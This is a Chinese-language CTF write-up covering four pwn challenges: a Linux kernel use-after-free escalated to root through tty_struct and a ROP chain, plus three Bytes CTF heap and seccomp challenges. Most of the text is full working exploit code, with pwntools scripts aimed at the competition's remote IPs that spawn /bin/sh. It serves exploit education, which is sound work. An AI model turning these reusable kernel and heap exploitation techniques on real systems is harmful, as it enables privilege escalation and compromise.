Some PWN in KCTF Q3 && Bytes CTF

只记录几个有意思的,常规的就不写了

KCTF Q3: 绝地反击

First Blood, Happy
First Blood

qemu_cmd:

1
2
3
4
5
6
qemu-system-x86_64 -s -m 256M \
-nographic -kernel $bzImage_dir \
-append 'root=/dev/ram rw console=ttyS0 loglevel=3 oops=panic panic=1 kaslr' \
-monitor /dev/null -initrd $cpio_dir \
-smp cores=2,threads=2 \
-cpu kvm64,+smep,+smap

内核存在smep,smap和kalsr保护
漏洞比较明显,在ioctl的0x133d操作中存在uaf
不过只能申请0x400大小的heap
首先想到可以通过UAF,kfree掉一个0x400大小的chunk后,打开一个tty设备,此时tty_struct即可分配到此chunk,以此来leak堆地址和内核加载基址
而后利用上,首先存在smep和smap保护
所以不能直接迁移栈到用户空间,考虑直接在内核空间提权
尝试过tty所有option后选择write操作
write操作前,数据会被copy到内核空间且数据指针在栈上:

1
2
3
stack:
function return address
(ptr *)data writed to tty

此时只需要一个pop rsp的操作即可迁移栈,且迁移后栈内数据即是write的数据,直接利用rop链调用commit_creds(prepare_kernel_cred(0))并返回用户态即可完成提权:
A magic target in kernel:

1
2
3
4
5
.text:FFFFFFFF811751F3                 pop     rcx
.text:FFFFFFFF811751F4 or eax, 415BFFF4h
.text:FFFFFFFF811751F9 pop rsp
.text:FFFFFFFF811751FA pop rbp
.text:FFFFFFFF811751FB retn

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sched.h>
#include <errno.h>
#include <pty.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <signal.h>
#define KERNCALL __attribute__((regparm(3)))
#define _GNU_SOURCE
//just for debug
/*struct _tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct inode *inode, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
struct file_operations *proc_fops;
};*/
long int data[0x400];
void add(int fd){
ioctl(fd,0x1336);
}
void set_dead(int fd,long int index){
ioctl(fd,0x1338,index);
}
void set_alive(int fd,long int index){
ioctl(fd,0x1339,index);
}
void set(int fd,long int dest,long int src){
long int arg[2]={src,dest};
ioctl(fd,0x1337,arg);
}
void fake(int fd,long int arg1,long int arg2,long int arg3){
long int arg[3]={arg1,arg2,arg3};
ioctl(fd,0x133d,arg);
}
void leak(int fd,long int index,long int size){
long int arg[3]={index,data,size};
ioctl(fd,0x133b,arg);
}
void edit(int fd,long int index,long int *user,long int size){
long int arg[3]={index,user,size};
ioctl(fd,0x133a,arg);
}
void info(){
for(int i=0;i<=60;i++){
printf("%016llx | %016llx\n",data[2*i],data[2*i+1]);
}
}
void shell(){
system("/bin/sh");
}
unsigned long user_cs, user_ss, user_eflags,user_sp ;
void save_status() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %3\n"
"pushfq\n"
"popq %2\n"
:"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
:
: "memory"
);
}
int fd,fd2;
long int heap_addr,kernel_base,fake_tty_op;
void leak_addr(){
fd=open("/dev/kpwn",0);
add(fd);
add(fd);
add(fd);
add(fd);
set_dead(fd,0);
set(fd,3,0);
set_alive(fd,0);
set_dead(fd,1);
fake(fd,1,0,3);
leak(fd,3,0x200);
heap_addr=data[0];
printf("[*]heap addr=0x%llx\n",heap_addr);
fd2=open("/dev/ptmx",1);
leak(fd,3,0x300);
kernel_base=(data[76]-0x17a820);
printf("[*]kernel addr=0x%llx\n",kernel_base);
fake_tty_op=heap_addr+0x400;
printf("[*]fake tty op=0x%llx\n",fake_tty_op);
}
void exploit(){
add(fd);
set(fd,4,0);
long int magic=kernel_base+0x1751f3;
long int user_data[30];
for(int i=0;i<20;i++){
user_data[i]=magic;
}
edit(fd,4,user_data,0x100);
user_data[0]=data[0];
user_data[1]=data[1];
user_data[2]=data[2];
user_data[3]=fake_tty_op;
edit(fd,3,user_data,0x20);
int i=0;
user_data[i++]=0;
user_data[i++]=kernel_base+0x118fab;//pop_rdx_rdi
user_data[i++]=0;
user_data[i++]=0;
user_data[i++]=kernel_base+0x4f050;//commit_creds(prepare_kernel_cred(0))
user_data[i++]=kernel_base+0x1ed3e;//xor pop ret
user_data[i++]=0;
user_data[i++]=kernel_base+0x10f29f;
user_data[i++]=0;
user_data[i++]=kernel_base+0x4f210;
user_data[i++]=kernel_base+0x200c2e;//swapgs;popfq;pop rbp;ret
user_data[i++]=0x246;
user_data[i++]=0;
user_data[i++]=kernel_base+0x1a306;
user_data[i++]=shell;
user_data[i++]=user_cs;
user_data[i++]=user_eflags;
user_data[i++]=user_sp;
user_data[i++]=user_ss;
write(fd2,user_data,0xb0);
}
int main(){
save_status();
signal(SIGSEGV, shell);
leak_addr();
exploit();
}
//gcc ./exp.c --static
//find . | cpio -o -H newc > ../kirin.cpio
//upload:
//def upload():
// with open("exp.zip", "rb") as f:
// data = f.read()
// encoded = base64.b64encode(data)
// for i in range(0, len(encoded), 300):
// #print("%d / %d" % (i, len(encoded)))
// print("echo \"%s\" >> tmp" % (encoded[i:i+300]))
// print("cat tmp | base64 -d > exp.zip")
// print("unzip ./exp.zip")
// print("chmod +x ./exp")
// print("./exp")
//upload()

PWN

Bytes CTF: vip

程序在become_vip过程中会载入seccomp规则
且此函数在read name时存在溢出,可以覆盖seccomp规则
同时在edit中可以看到:

1
2
3
4
5
6
7
8
9
10
11
ssize_t __fastcall edit(void *a1, int a2)
{
int fd; // [rsp+1Ch] [rbp-4h]

if ( dword_4040E0 )
return read(0, a1, a2);
fd = open("/dev/urandom", 0);
if ( fd == -1 )
exit(0);
return read(fd, a1, a2);
}

因此想到让open返回0来绕过read(fd, a1, a2),来使edit内容可控
因此选择覆盖的seccomp规则:

1
2
3
4
5
6
7
A = args[1]
A &= 0xffff
A == 0x207e ? ok:next
return ALLOW
ok:
return ERRNO(0)
#seccomp-tools asm ./kirin.asm

判断第一个参数的值来控制返回操作,在open(“/dev/urandom”, 0);时,第一个参数为”/dev/urandom”字符串地址:

1
000000000040207E file            db '/dev/urandom',0

这样即可使fd返回为0,控制edit内容(起初想直接判断sys_number是否为openat,这样虽然也可以成功控制,但是在最后执行system(“/bin/sh”)时候会失败)
edit可控后便是正常的堆溢,修改free_hook为&system,即可最后get shell

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *

context.log_level="debug"
def add(index):
p.sendlineafter(": ","1")
p.sendlineafter(": ",str(index))
def delete(index):
p.sendlineafter(": ","3")
p.sendlineafter(": ",str(index))
def edit(index,size,note):
p.sendlineafter(": ","4")
p.sendlineafter(": ",str(index))
p.sendlineafter("Size: ",str(size))
p.sendafter(": ",note)
def show(index):
p.sendlineafter(": ","2")
p.sendlineafter(": ",str(index))
#p=process("./vip")
p=remote("112.126.103.14",9999)
payload=" \x00\x00\x00\x18\x00\x00\x00T\x00\x00\x00\xFF\xFF\x00\x00\x15\x00\x01\x00~ \x00\x00\x06\x00\x00\x00\x00\x00\xFF\x7F\x06\x00\x00\x00\x00\x00\x05\x00"
p.sendlineafter(": ","6")
p.sendafter("name: \n","a"*0x20+payload)
#p.interactive()
add(0)
add(1)
add(5)
for i in range(20):
add(2)
edit(0,0x80,"a"*0x10*5+p64(0)+p64(0x60*16+1))
delete(1)
add(3)
show(3)
libc_addr=u64(p.recv(6)+"\x00\x00")-0x7fc35edea110+0x7fc35e9fe000
print hex(libc_addr)
add(4)
add(6)
add(7)
add(8)
delete(6)
delete(7)
delete(8)
delete(4)
edit(5,16,p64(libc_addr+0x3ed8e8))
add(2)
add(2)
edit(2,16,p64(libc_addr+0x4f440))
add(6)
edit(6,40,"/bin/sh\x00")
#gdb.attach(p)
delete(6)
p.interactive()

Bytes CTF: mheap

首先程序自身实现了简单的malloc和free功能
结构为chunk_size+chunk_ptr+user_data
首先可以知道覆盖掉chunk_ptr即可类似fastbin attack将chunk分配到有合法地址的位置
漏洞比较明显,在read输入的过程中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
__int64 __fastcall read_note(__int64 a1, signed int a2)
{
__int64 result; // rax
unsigned int v3; // [rsp+18h] [rbp-8h]
int v4; // [rsp+1Ch] [rbp-4h]

v3 = 0;
do
{
result = v3;
if ( (signed int)v3 >= a2 )
break;
v4 = read(0, (void *)(a1 + (signed int)v3), (signed int)(a2 - v3));
if ( !v4 )
exit(0);
v3 += v4;
result = *(unsigned __int8 *)((signed int)v3 - 1LL + a1);
}
while ( (_BYTE)result != 10 );
return result;
}

这里只判断返回是否为0,没有判断返回错误(-1)的状态
导致可以向预期指针的前方写入数据
选择直接分配chunk到边界,这时候由于size没有严格的check,导致chunk到最后可以分配超过mmap的地址,这时候read过程中由于地址没有写权限(没被分配的非法地址)从而返回-1,而后即可向前修改掉一个free掉的chunk的指针,将其指向note_list(其中有合法size),即可任意地址读写,修改GOT[‘atoi’]指向&system即可在输入”/bin/sh”时get shell

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
import time
def add(index,size,note):
p.sendlineafter(": ","1")
p.sendlineafter(": ",str(index))
p.sendlineafter(": ",str(size))
p.sendafter(": ",note)
def show(index):
p.sendlineafter(": ","2")
p.sendlineafter(": ",str(index))
def delete(index):
p.sendlineafter(": ","3")
p.sendlineafter(": ",str(index))
def edit(index,note):
p.sendlineafter(": ","4")
p.sendlineafter(": ",str(index))
p.send(note)
context.log_level="debug"
#p=process("./mheap")
p=remote("112.126.98.5",9999)
add(0,0xf90,"kirin\n")
add(1,1,"a")
delete(1)
add(2,0x50,p64(0x4040e3)*10+"\x00\x00\x00\x00\x00\x00\x00\n")
add(0,0x10,"aaaa\n")
add(0,0x10,"aaaaa"+p64(0x404050)+"\n")
show(3)
libc=u64(p.recv(6)+"\x00\x00")-0x40680
edit(3,p64(libc+0x4f440)+"\n")
p.sendlineafter(": ","/bin/sh")
#gdb.attach(p)
p.interactive()

Bytes CTF: notefive

程序在read输入时存在逻辑漏洞导致输入可以比参数大一字节造成off by one:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
__int64 __fastcall read_note(__int64 a1, signed int a2, char a3)
{
__int64 result; // rax
char v4; // [rsp+0h] [rbp-20h]
unsigned __int8 buf; // [rsp+13h] [rbp-Dh]
unsigned int i; // [rsp+14h] [rbp-Ch]
unsigned __int64 v7; // [rsp+18h] [rbp-8h]

v4 = a3;
v7 = __readfsqword(0x28u);
for ( i = 0; ; ++i )
{
result = i;
if ( (signed int)i > a2 )
break;
if ( (signed int)read(0, &buf, 1uLL) <= 0 )
{
puts("read error");
exit(0);
}
result = buf;
if ( buf == v4 )
break;
*(_BYTE *)(a1 + (signed int)i) = buf;
}
return result;
}

同时在add过程中size要求:

1
size > 0x8F && size <= 1024

因此选择首先利用off by one来构造堆重叠进行unsortedbin attack,修改掉global_max_fast
而后由于size需要打印0x8F且程序本身没有show操作,只能在stderr靠近stdout的位置找到一个合法size,”\xFF”
这样delete一个0xe8大小的chunk,而后利用堆重叠修正其fd指针
即可将chunk分配到stdout附近,覆盖掉flags和_IO_write_base低字节来造成程序leak出一段存在libc地址的数据
leak之后再用相同方法分配chunk到stdout尾部覆盖vtable为写满one_target的一段位置即可在输出时get shell:

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#需要爆破4bits global_max_fast的地址
from pwn import *

context.log_level="debug"
def add(index,size):
p.sendlineafter(">> ","1")
p.sendlineafter(": ",str(index))
p.sendlineafter(": ",str(size))
def delete(index):
p.sendlineafter(">> ","3")
p.sendlineafter(": ",str(index))
def edit(index,note):
p.sendlineafter(">> ","2")
p.sendlineafter(": ",str(index))
p.sendafter(": ",note)
for i in range(100):
try:
p=remote("112.126.103.195",9999)
add(0,0xf8)
add(1,0xf8)
add(2,0xe8)
add(3,0xe8)
add(4,0xe8)
delete(3)
add(3,0xe8)
add(4,0xe8)
edit(0,"a"*0xf0+p64(0x200)+"\xf1")
delete(1)
add(1,0xf8)
edit(2,"a"*8+"\xe8\x37"+"\n")
add(1,0xe8)
delete(1)
edit(2,"\xcf\x25\n")
add(1,0xe8)
add(0,0xe8)
edit(0,"a"+p64(0)*7+p64(0xf1)+p64(0xfbad1887)+p64(0)*3+"\x00"+"\n")
p.recvuntil("\x7f\x00\x00")
libc=u64(p.recv(8))-0x7ffff7dd26a3+0x7ffff7a0d000
print hex(libc)
delete(1)
edit(2,p64(libc+0x7ffff7dd26af-0x7ffff7a0d000)+"\n")
add(0,0xe8)
add(1,0xe8)
payload="a"+p64(libc-0x7ffff7a0d000+0x00007ffff7dd17a0)
payload+=p64(0)*3+p64(0xffffffff)+p64(0)*2+p64(libc-0x7ffff7a0d000+0x7ffff7dd2720)
payload+=p64(libc-0x7ffff7a0d000+0x00007ffff7dd2540)+p64(libc-0x7ffff7a0d000+0x00007ffff7dd2620)+p64(libc-0x7ffff7a0d000+0x00007ffff7dd18e0)+p64(libc-0x7ffff7a0d000+0x00007ffff7a2db70)
payload+=p64(libc+0xf1147)*16+"\n"
edit(1,payload)
#gdb.attach(p)
p.interactive()
except:
print i